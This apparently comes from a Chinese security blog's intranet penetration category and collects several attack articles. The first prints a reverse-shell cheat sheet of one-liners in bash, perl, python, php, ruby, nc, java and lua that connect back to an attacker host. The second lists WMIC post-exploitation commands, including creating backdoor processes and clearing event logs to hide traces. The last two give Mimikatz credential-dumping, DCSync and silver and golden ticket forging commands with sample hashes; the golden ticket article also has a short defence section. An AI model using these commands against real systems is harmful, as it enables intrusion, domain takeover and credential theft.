分类 内网渗透 下的文章

NC反弹shell


瑞士军刀netcat,这只喵的名气不言而喻,不管是渗透还是取证,100KB的小身板却蕴含着巨大的能量,今天我们来简单研究下如何使用nc反弹shell。

先来个正向shell做下对比:

nc -lvvp 1988 -e /bin/bash   
nc Rhost 1988                   //hacker

反向shell:

nc -e /bin/bash Lhost 1988nc -lvvp 1988                   //hacker

看出为什么要用反弹shell了么,如果我们处于内网,我们可以借助frp进行端口代理,但是目标主机处于内网你就没法正向代理了,当然,如果你要做雷锋给他配个frp的话,是在下输了。
当然啦,如果目标是windows系统,/bin/bash换成cmd.exe绝对路径即可,当然这个cmd.exe可以是C:\Windows\System32\cmd.exe,亦可以是通过webshell上传的cmd.exe,实战的话后者更多一点。
然后还有一种更现实的情况,靶机不会给你提供nc的环境,你也不会那么轻易成功将nc上传至靶机,所以更多的情况需要你就地取材,网上有国外大佬整理了各种版本的shell写法,在此借鉴,并附上真·原文连接。

#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#perl版本:perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};'

#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

#nc版本:
nc -e /bin/sh 10.0.0.1 1234rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
#java版本
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

真·原文链接:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

以上内容均为靶机端配置,笔者语言广度不足没发给予一一验证了,但在这里我们简单复现下bash环境下的反弹。
bash -i >& /dev/tcp/172.16.222.81/1988 0>&1

parrot


nc -lvvp 1988

反弹shell


因为编码问题字体可能不怎么好看,但是反弹shell的确成功了。
为什么要特意讲下bash环境下的反弹shell,因为我们常会见到一些远程命令执行的漏洞,如strus2漏洞、java反序列化漏洞等,此时我们权限较低,但的的确确具备命令执行的权限,便可以借助当前环境实现nc反弹shell,为进一步提权做准备。



WMIC后渗透利用[转]


写在前面的话

在这篇文章中,我们将讨论如何在攻击的后渗透利用阶段使用WMIC(Windows Management InstrumentationCommand Line)。当攻击者在远程PC上拿到meterpreter会话之后,他们就可以枚举大量的系统信息,并利用WMI命令行工具来进行更深程度的操作。

首先,我们会介绍如何拿到远程PC的meterpreter会话。拿到会话之后,我们还会告诉大家如何提权至管理员权限。

WMIC命令行可以通过Windows CMD来访问,直接在meterpreter shell中输入“shell“即可。接下来,我们一起看一看WMIC命令以及相应的工作机制。

WMIC

下面这个命令可以查看WMIC命令的全局选项,WMIC全局选项可以用来设置WMIC环境的各种属性,通过结合各种全局选项以及参数,我们就可以通过WMIC环境来管理整个系统了。

wmic /?

2.png

获取系统角色、用户名和制造商

铜鼓WMIC命令的操作系统指令,我们可以枚举出大量关于目标系统的信息,包括主机名、域名、制造商以及设备型号等等。

我们还可以添加下列过滤器来获取更精准的扫描结果:

Roles:它可以给我们提供目标设备在整个网络系统中所扮演的角色,例如工作站、服务器或个人PC等等。

Manufacturer:它可以给我们提供目标系统的制造商和设备型号,因为某些特定制造商所生产的特定型号设备会存在特定的漏洞,因此我们可以利用这部分信息来寻找存在漏洞的设备。

UserName:它可以给我们返回系统的用户名,我们可以利用这部分信息来区分谁是管理员谁是普通用户。

[/format:list]:以列表格式输出数据并排列。

wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list

3.png

获取SID

为了枚举出SID,我们需要用到WMIC的group选项:

wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status

如下图所示,我们已经查找到了账户名、域名、本地组成员状态、SID以及相应的状态:

4.png

创建一个进程

WMIC命令的process选项可以帮助我们在目标用户的系统中创建各种进程。这种功能可以帮助我们创建后门,或占用大量目标系统的内存:

 

 

wmic process call create “[Process Name]”

wmic process call create “taskmgr.exe”

 

你可以从下图中看到,这个命令不仅会创建一个进程,而且还会赋予相应的进程ID,所以我们就可以根据我们的需要来修改进程信息了。

5.png

注意:如果进程创建了一个类似任务管理器和CMD这样的窗口,那么这条命令将会在目标系统中打开这个窗口,这样会引起目标用户的怀疑。

修改进程优先级

WMIC命令的process选项还可以帮我们修改目标系统中运行进程的优先级,这是一个非常有用的功能。降低某个进程的优先级可能会导致特定的应用程序发生崩溃,而提升某个进程的优先级甚至还会导致整个系统发生崩溃。

wmic process where name=”explorer.exe” call set priority 64

6.png

终止进程

WMIC命令还可以帮我们终止目标系统正在运行的进程:

wmic process where name=”explorer.exe” call terminate

7.png

获取可执行文件列表

下面的命令可以枚举出整个系统中所有可执行文件的路径地址:

wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath

8.png

获取目录属性

WMIC命令的fsdir选项可以提取目标系统中文件目录的基本信息,其中包括压缩方法、创建日期、文件大小、是否可读写、是否为系统文件、加密状态以及加密类型等等:

wmic fsdir where=”drive=’c:’ and filename=’test’” get /format:list’

9.png

获取文件属性

WMIC命令的datafile选项可以获取目标系统中文件的基本信息,其中包括压缩方法、创建日期、文件大小、是否可读写、是否为系统文件、加密状态以及加密类型等等:

 

 

wmic datafile where=’[Path of File]’ get /format:list

wmic datafile where name=’c:\\windows\\system32\\demo\\demo.txt’ get /format:list

10.png

定位系统文件

WMIC可以提取出所有重要系统文件的路径,例如temp目录和win目录等等:

wmic environment get Description, VariableValue

11.png

获取已安装的应用程序列表

wmic product get name

12.png

获取正在运行的服务列表

获取到正在运行的服务列表之后,WMIC还可以提供服务的启动模式,例如“自动”、“手动”和“运行中”:

wmic service where (state=”running”) get caption, name, startmode

13.png

获取系统驱动详情

sysdrive选项可以枚举出驱动的名称、路径和服务类型等数据:

wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list

14.png

获取操作系统详情

os选项可以列举出目标系统的上一次启动时间、注册的用户数量、处理器数量、物理/虚拟内存信息和安装的操作系统类型等等:

 

wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate,NumberofProcesses, NumberofUsers, Organization, RegisteredUsers, Status/format:list

15.png

获取主板信息和BIOS序列号

wmic baseboard, get Manufacturer, Product, SerialNumber, Version

16.png

wmic bios, get serialNumber

17.png

获取内存缓存数据

memcache选项可以获取到内存缓存名和块大小等信息:

wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status

18.png

获取内存芯片信息

memorychip选项可以获取到RAM的相关信息,例如序列号等等:

wmic memorychip get PartNumber, SerialNumber

19.png

判断目标系统是否为虚拟机

我们可以根据onboarddevice选项返回的信息来判断目标系统到底是真实的主机操作系统,还是一台虚拟机(VMware或Virtual Box):

wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list

20.png

用户账号管理

锁定用户账号

我们可以使用useraccount选项来锁定本地用户账号:

wmic useraccount where name=’demo’ set disabled=false

21.png

用户账号重命名

wmic useraccount where name=’demo’ rename hacker

22.png

限制用户修改密码

我们还可以限制本地用户的密码修改操作:

wmic useraccount where name=’hacker’ set passwordchangeable=false

23.png

获取反病毒产品详情

我们可以枚举出目标系统安装的反病毒产品信息,包括安装位置和版本:

wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

24.png

清理系统日志

WMIC命令的nteventlog选项还可以清除系统的日志记录,当你入侵了某个系统之后,这个命令可以帮助你掩盖攻击痕迹:

 

 

wmic nteventlog where filename='[logfilename]’ cleareventlog

wmic nteventlog where filename=’system’ cleareventlog

25.png

https://www.hackingarticles.in/post-exploitation-using-wmic-system-command/


白银票据(转)


Kerberos的白银票据详解

0x01白银票据(Silver Tickets)定义

   白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。如下图所示,与域控制器没有AS-REQ 和 AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。

 

 

0x02白银票据的特点

1.白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。

2.黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。

3.大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC

4.攻击者需要服务帐户密码哈希值

5.TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。

6.任何事件日志都在目标服务器上。

0x03创建白银票据

  为了创建或伪造白银票据,攻击者必须获得目标服务账号的密码hash值。如果目标服务正在使用中的帐户(如MS SQL)下运行,则需要服务帐户密码哈希以创建银票。使用Kerberoast(https://github.com/nidem/kerberoast)破解服务帐户密码是识别目标服务相关密码数据的一种有效防范。计算机主机服务也是最常见的服务,它是利用Windows文件共享的“cifs”服务。由于计算机本身托管此服务,因此创建白银票据所需的密码数据是关联的计算机帐户的密码哈希值。当计算机加入Active Directory时,会创建一个新的计算机帐户对象并将其添加到计算机中。密码和相关的散列哈希存储在拥有该帐户的计算机上,并且将NTLM密码散列存储在域的域控制器上的Active Directory数据库中。如果攻击者可以获得对计算机的管理权限或者能够以本地系统的身份运行代码,则攻击者可以使用Mimikatz从系统中转储AD计算机帐户密码哈希(NTLM密码哈希用于加密RC4 Kerberos门票):

Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit  #需要管理员权限

 

0x04 Mimikatz白银票据票命令

/domain –完整的域名称,如:lab.adsecurity.org

/sid –域的SID,如:S-1-5-21-1473643419-774954089-2222329127

/user – 域用户名

/ groups(可选) - 用户所属的组RID

/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用,或者使用/ ptt立即将黄金票据插入到内存中以供使用

 /ptt - 作为/ ticket的替代品,使用它来立即将伪造的票据插入到内存中以供使用。

/ id(可选) - 用户RID,Mimikatz默认值是500(默认管理员帐户RID)

/ startoffset(可选) - 票证可用时的起始偏移(如果使用此选项,通常设置为-10或0)Mimikatz默认值是0

/ endin(可选) - 票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为10小时

/ renewmax(可选) - 续订最长票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为最长为7天

1.白银票据需要的参数

/target –目标服务器的FQDN

FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号“.”)

/service –运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等

/rc4 –服务的NTLM散列(计算机帐户或用户帐户)

2.白银票据默认组

域用户SID:S-1-5-21 <DOMAINID> -513

域管理员SID:S-1-5-21 <DOMAINID> -512

架构管理员SID:S-1-5-21 <DOMAINID> -518

企业管理员SID:S-1-5-21 <DOMAINID> -519

组策略创建所有者SID:S-1-5-21 <DOMAINID> -520

3. Mimikatz命令创建白银票据

以下Mimikatz命令会在服务器adsmswin2k8r2.lab.adsecurity.org上为CIFS服务创建白银票据。为了成功创建Silver Ticket,需要从AD域转储中或在本地系统上运行Mimikatz来获获取adsmswin2k8r2.lab.adsecurity.org中AD计算机帐户密码哈希值。NTLM密码哈希与 rc4参数一起使用。服务SPN类型也需要在/ service参数中标识。目标计算机的FQDA需要在/ target参数中使用以及/ sid参数中的域SID。命令如下:

mimikatz “kerberos::golden /user:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit 

 

 

 

0x05 白银票据在各种服务中的实列

  1.白银票据的服务列表

 Service Type Service Silver Tickets
WMI HOST
RPCSS

PowerShell Remoting

 HOST
HTTP
WinRM HOST
HTTP
Scheduled Tasks HOST
 Windows File Share (CIFS) CIFS

 LDAP operations including

Mimikatz DCSync

 LDAP
 Windows Remote Server Administration Tools RPCSS
LDAP
CIFS

 

 

 

 

 

 

 

 

 

 

2.Windows共享(CIFS)管理访问的银票

为“ cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。

注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括

c $共享,我们能够将文件拷贝到共享文件中。

 

 


 3.具有管理员权限的Windows计算机(HOST)白银票据

创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。

 

利用HOST Silver Ticket,我们可以创建一个新的计划任务。

 

 

或者通过利用HOST Silver Ticket,我们可以修改存在的计划任务。

 

 

 

 4.Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行

为“ http ”服务和“ wsman ”服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。

 

注入两张HTTPWSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。

 

 5.白银票据证连接到具有管理员权限Windows计算机上的LDAP

为“ ldap ”服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。

 

利用LDAP Silver Ticket,我们可以远程访问LDAP服务来获得krbtgt的信息

注:lsadump::dcsync

向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。

 6.白银票据证连接到具有管理员权限Windows计算机上的WMI

 为“ HOST ”服务和“ rpcss ”服务创建白银票据,以使用WMI在目标系统上远程执行命令。

 

注入这些白银票据之后,我们可以通过运行“klist”来确认Kerberos TGS票据在内存中注入白银票据后,我们可以通过“传票”来调用WMIC或Invoke-WmiMethod在目标系统上运行命令。

 

Invoke-WmiMethod win32_process -ComputerName $ Computer -Credential $ Creds -name create -argumentlist“$ RunCommand”

 

  7.访问域控上“cifs”服务实列

首先需要获得如下信息:

/domain

/sid

/target:目标服务器的域名全称,此处为域控的全称

/service:目标服务器上面的kerberos服务,此处为cifs

/rc4:计算机账户的NTLM hash,域控主机的计算机账户

/user:要伪造的用户名,此处可用silver测试

在域控上执行如下命令来获取域控主机的本地管理员账户hash

mimikatz log "sekurlsa::logonpasswords"

如图:

 

 

注:

此处要找到计算机账户,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他账户,那么会失败,也就是需要共享服务账号。

整理以上获得的信息如下:

/domain:test.local

/sid:S-1-5-21-4155807533-921486164-2767329826

/target:WIN-8VVLRPIAJB0.test.local

/service:cifs

/rc4:d5304f9ea69523479560ca4ebb5a2155

/user:silver

使用mimikatz执行如下命令导入Silver Ticket

mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"

如图,成功导入,此时可以成功访问域控上的文件共享

 



黄金票据(转)


Kerberos的黄金票据详解

0x01黄金票据的原理和条件

  黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。

 

Kerberos黄金票据是有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的  。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。

黄金票据的条件要求:
1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot] 
2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value] 
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名

一旦攻击者拥有管理员访问域控制器的权限,就可以使用Mimikatz来提取KRBTGT帐户密码哈希值。

 

 

0x02黄金票据局限性

  黄金票据 “欺骗”了当前域的管理权限,当KRBTGT帐户密码哈希显示在作为多域AD的林一部分的子域中时存在此局限性。因为是根(root)域包含全森林管理组Enterprise Admins。由于Mimikatz通过相对标识符(RID)向票据添加了组成员资格,因此Kerberos票据中的519(企业管理)RID在其创建的域中(基于KRBTGT帐户域)被标识为本地。如果通过获取域SID和附加RID创建的域安全标识符(SID)不存在,那么Kerberos票据的持有者不会收到该级别的访问权限。换句话说,在一个多域AD森林中,如果创建的Golden Ticket域不包含Enterprise Admins组,则Golden Ticket不会向林中的其他域提供管理权限。在单个域Active Directory林中,由于Enterprise Admins组驻留在此域中,这时创建Golden Ticket不存在局限性。

如下图所示:除非在Enterprise Admins中,否则黄金票据不能跨域信任使用,。标准的黄金票据仅限于其创建的子域

 

 

0x03绕过黄金票据局限性

 在迁移方案中,从DomainA迁移到DomainB的用户将原始DomainA用户SID值添加到新的DomainB的 SID History属性中。当用户使用新帐户登录DomainB时,DomainA SID将与确定访问的DomainB用户组一起验证。这意味着可以将SID添加到SID历史记录以扩展访问。

  一旦Mimikatz支持Golden Ticket(和Silver Tickets)中的SID History,事情会变得更加有趣,因为AD Forest中的任何组都可以被包含并用于授权访问。使用最新版本的Mimikatz,我们现在可以将SID历史记录添加到Forest Enterprise Admins组的Golden Ticket中。一旦单个域名的KRBTGT帐户密码哈希被获取到,通过黄金票据可伪造用户登录到整个森林中。 总而言之,一旦一个域名受到威胁。黄金门票现在可以用来微机AD森林中的任何域

 

 

注意:在Active Directory林中的信任之间启用SID筛选可以防止绕过黄金票据局限性。

0x04黄金票据的特点

1.域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟,这意味着攻击者可以使用禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。

 微软的MS-KILE解释:

    Kerberos V5不提供对TGS请求的帐户撤销检查,只要TGT有效,即使该帐户已被删除,TGT更新和服务票据也可以发布。KILE提供了一个可以将利用时间限制在较短的时间内(20分内)。当TGT大于20分钟时,KILE KDC需要在域中检查账户。

2.由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10 年,那么也会信任票据的有效性期为10年。

3.该KRBTGT帐户密码从不更改*和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在。

4.它绕过了SmartCard身份验证要求,因为它绕过了DC在创建TGT之前执行的常规验证。

5.这个精心创建的TGT要求攻击者拥有Active Directory域的KRBTGT密码哈希值(通常从域控制器转储)。

6.KRBTGT NTLM哈希可用于生成一个有效的TGT(使用RC4)模拟任何用户访问Active Directory中的任何资源。

7.在主机上都可以生成和使用黄金票据(TGT),即使没有加入域也是如此。只要网络可以访问域。

8.用于从AD森林中的DC获取有效的TGS票据,并提供一个坚持在一切域访问所有的主机的好办法。

0x05黄金票据防御

1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。

2. 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证。

3.建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。

4.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。

0x06使用Mimikatz伪造Kerberos黄金票据

Mimikatz命令:Kerberos:Golden用于创建“黄金票据”(伪造TGT身份验证票证)
Mimikatz命令示例:
kerberos::golden  /admin:ADMIINACCOUNTNAME  /domain:DOMAINFQDN /id:ACCOUNTRID  /sid:DOMAINSID  /krbtgt:KRBTGTPASSWORDHASH  /ptt

 

kerberos::golden  /admin:darthvader  /domain:lab.adsercurity.org /id:2601  /sid: S-1-5-21-4155807533-921486164-2767329826 /krbtgt:8a2f1adcdd519a23515780021d2d178a  /ptt

1.导出krbtgt的Hash

在域控上执行通过mimkatz输出:

mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"

 

 

找到如下信息:

/domain:test.local

/sid:S-1-5-21-4155807533-921486164-2767329826

/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f

2、生成Golden Ticket

伪造的用户设置为god,执行:

mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826

/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god

/ticket:gold.kirbi"

生成文件gold.kirbi

3、伪造Golden Ticket获得域控权限

导入Golden Ticket,执行如下命令:

kerberos::ptt c:\test\gold.kirbi

如图,成功获得域控权限

 

 

Tips:

生成Golden Ticket不仅可以使用aes256,也可用krbtgt的NTLM hash
可以用mimikatz "lsadump::lsa /patch"导出:

 

 

0x07 Mimikatz黄金票据命令参考:

Mimikatz创建黄金的命令是“kerberos :: golden”

/domain -----完整的域名,在这个例子中:“lab.adsecurity.org”

/ sid ----域的SID,在这个例子中:“S-1-5-21-1473643419-774954089-2222329127”

/ sids --- AD森林中账户/组的额外SID,凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的“S-1-5-21-1473643419-774954089-5872329127-519”值。Ť 

 / user ---伪造的用户名

/ groups(可选)---用户所属的组RID(第一组是主组)。添加用户或计算机帐户RID以接收相同的访问权限。默认组:513,512,520,518,519为默认的管理员组。

/ krbtgt---域KDC服务帐户(KRBTGT)的NTLM密码哈希值。用于加密和签署TGT。

/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用或使用/ ptt立即将黄金票据插入内存以供使用。

/ ptt - 作为/ ticket的替代品 - 使用它来立即将伪造的票据插入到内存中以供使用。

/ id(可选) - 用户RID。Mimikatz默认值是500(默认管理员帐户RID)。

/ startoffset(可选) - 票据可用时的起始偏移量(如果使用此选项,通常设置为-10或0)。Mimikatz默认值是0。

/ endin(可选) - 票据使用时间范围。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为10小时(600分钟)。

/ renewmax(可选) - 续订最长票据有效期。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为7天(10,080分钟)。

/ sids(可选) - 设置为AD林中企业管理员组(ADRootDomainSID)-519)的SID,以欺骗整个AD林(AD林中每个域中的AD管理员)的企业管理权限。

/ aes128 - AES128密钥

/ aes256 - AES256密钥

黄金票默认组:

域用户SID:S-1-5-21 <DOMAINID> -513

域管理员SID:S-1-5-21 <DOMAINID> -512

架构管理员SID:S-1-5-21 <DOMAINID> -518

企业管理员SID:S-1-5-21 <DOMAINID> -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/ sids参数)

组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520

命令格式如下:

kerberos :: golden / user:ADMIINACCOUNTNAME / domain:DOMAINFQDN / id:ACCOUNTRID / sid:DOMAINSID / krbtgt:KRBTGTPASSWORDHASH / ptt

命令示例:

.\mimikatz “kerberos::golden  /user:DarthVader  /domain:rd.lab.adsecurity.org  /id:500 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321  /ptt” exit